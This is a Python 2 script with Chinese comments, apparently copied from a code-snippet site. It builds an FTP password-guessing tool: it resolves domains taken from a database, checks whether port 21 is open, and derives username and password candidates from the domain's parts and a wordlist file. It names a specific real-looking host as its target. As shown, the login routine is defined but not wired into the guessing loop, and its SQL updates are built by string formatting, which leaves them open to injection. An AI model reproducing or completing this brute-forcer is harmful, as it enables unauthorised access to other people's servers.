- def open_txt(): #打开TXT文本写入数组
- try:
- xxx = file('admin.txt', 'r')
- for xxx_line in xxx.readlines():
- passlist.append(xxx_line)
- xxx.close()
- except:
- return 0
- def list_del(): #清空list列表
- try:
- i = 0 #得到list的第一个元素
- while i < len(passlist):
- del passlist[i]
- del list_passwed[i]
- except:
- return 0
- #def list_open(): #读取list列表
- # i = 0 #得到list的第一个元素
- # while i < len(list_passwed):
- # print "a[",i,"]",list_passwed[i]
- # i = i + 1
- ###########################################################################
- def str_index(data1,data2): #查找字符
- try:
- data1.index(data2)
- return 0
- except:
- return 1
- def www_cj(sStr1): #域名拆解
- sStr2 = "."
- passlist.append(sStr1)
- d1 = sStr1[0:sStr1.find(sStr2)]
- #print d1
- passlist.append(d1)
- sStr1 = sStr1[sStr1.find(sStr2)+1:]
- #print sStr1
- passlist.append(sStr1)
- if str_index(sStr1,sStr2):
- return 0
- #print "1111111111没有"
- else:
- #print "2222222222有了"
- d2 = sStr1[0:sStr1.find(sStr2)]
- #print d2
- passlist.append(d2)
- sStr1 = sStr1[sStr1.find(sStr2)+1:]
- #print sStr1
- passlist.append(sStr1)
- if str_index(sStr1,sStr2):
- return 0
- #print "222222没有"
- else:
- #print "2222222222有了"
- d3 = sStr1[0:sStr1.find(sStr2)]
- #print d3
- passlist.append(d3)
- sStr1 = sStr1[sStr1.find(sStr2)+1:]
- #print sStr1
- passlist.append(sStr1)
- if str_index(sStr1,sStr2):
- return 0
- #print "33333没有"
- else:
- #print "2222222222有了"
- d4 = sStr1[0:sStr1.find(sStr2)]
- #print d4
- passlist.append(d4)
- sStr1 = sStr1[sStr1.find(sStr2)+1:]
- #print sStr1
- passlist.append(sStr1)
- if str_index(sStr1,sStr2):
- return 0
- #print "44444没有"
- else:
- #print "2222222222有了"
- d5 = sStr1[0:sStr1.find(sStr2)]
- #print d5
- passlist.append(d5)
- sStr1 = sStr1[sStr1.find(sStr2)+1:]
- #print sStr1
- passlist.append(sStr1)
- if str_index(sStr1,sStr2):
- return 0
- #print "55555没有"
- ############################################################################打开FTP
- from ftplib import FTP
- #def ftp_open(host='',user='',passwd=''): #打开FTP
- # try:
- # ftp=FTP()
- # #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息
- # ftp.connect(host,'21') #连接
- # data=ftp.login(user,passwd) #登录,如果匿名登录则用空串代替即可
- # #print ftp.getwelcome() #欢迎词
- # #print data
- # print "fffffffffffffffffffffffffffffffffff"
- # time.sleep(10) #延时
- # ftp.quit() #退出ftp服务器
- # return 1
- # except:
- # return 0
- def ftp_open(host,user,passwd): #打开FTP
- try:
- ftp = FTP(host)
- ftp.login(user,passwd)
- ftp.quit()
- return 1
- except:
- return 0
- ###########################################################################
- import time
- def link_ftp(www): #TXT导入数组 组合密码 遍历连接FTP
- #passlist = list(set(passlist)) #python 列表去重
- for i in passlist:
- if i not in list_passwed:
- list_passwed.append(i)
- ###################################### 遍历数组组合出 密码
- I1 = 0 #得到list的第一个元素
- while I1 < len(list_passwed):
- #print "第几组密码:",I1
- if I1==len(list_passwed):
- break #退出循环
- I2 = 0 #得到list的第一个元素
- while I2 < len(list_passwed):
- print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2]
- I2 = I2 + 1 #二层
- I1 = I1 + 1 #一层
- sql_sel() #SQL查询
- ###########################################################################
- import socket
- #获取域名的IP地址
- def www_ip(name): #域名转IP
- try:
- result = socket.getaddrinfo(name, None)
- return result[0][4][0]
- except:
- return 0
- def ip_port(ip): #查看IP端口是否开放
- port=21
- s=socket.socket()
- #address="127.0.0.1"
- try:
- s.connect((ip,port))
- #print 'IP:',ip,"port:",port,"以开放"
- return 1
- except socket.error,e:
- #print 'IP:',ip,"port:",port,"未开放"
- return 0
- ###########################################################################
- def www_port(www): #www转换IP在查看端口
- IP=www_ip(www)
- if IP:
- print www,u"ip地址:",IP
- if ip_port(IP):
- #print IP,"开放21端口"
- www_cj(www) #域名拆解
- open_txt() #TXT导入数组
- sql_up(www,"send") #SQL修改数据
- link_ftp(www) #组合密码 遍历连接FTP
- else:
- sql_up(www,"---") #SQL修改数据
- print IP,u"未开21放端口"
- #sql_sel() #SQL查询
- else:
- sql_up(www,"===") #SQL修改数据
- print www,u"域名转IP失败"
- sql_sel() #SQL查询
- ###########################################################################
- import mysql #数据库操作文件
- def sql_up(url,data): #SQL修改数据
- try:
- up = "update url1 set ftpsend='%s' where url='%s'"%(data,url)
- if mysql.mysql_update(up): #修改数据
- print url,u"修改数据库成功"
- else:
- print url,u"修改数据库失败"
- mysql.mysql_S() #保存数据
- except:
- return 0
- def sql_sel(): #SQL查询
- try:
- list_del() #清空list列表
- sql="select * from url1 where ftpsend is NULL limit 1"
- mysql.cursor.execute(sql)
- mysql.cursor.scroll(0)
- for row in mysql.cursor.fetchall():
- www_port(row[0]) #www转换IP在查看端口
- #sql_cx(row[0])
- #print '%s-%s'%(row[0],row[1])
- #print row[0]
- #print row[1]
- #print row[2]
- #mysql.mysql_close() #关闭数据库
- except:
- print u"读取URL异常!!!!!"
- ###########################################################################
- if __name__=='__main__':
- mysql.mysql_open() #连接数据库
- global passlist #声明全局变量
- passlist = [] #用户名:anonymous 密码为空
- global list_passwed #列表去重,不打乱原来的顺序
- list_passwed=[]
- # sql_sel() #SQL查询
- www= "ftp.hificat.com"
- www_port(www) #www转换IP在查看端口
- #该片段来自于http://www.codesnippet.cn/detail/260620134298.html
来源: http://www.codesnippet.cn/detail/260620134298.html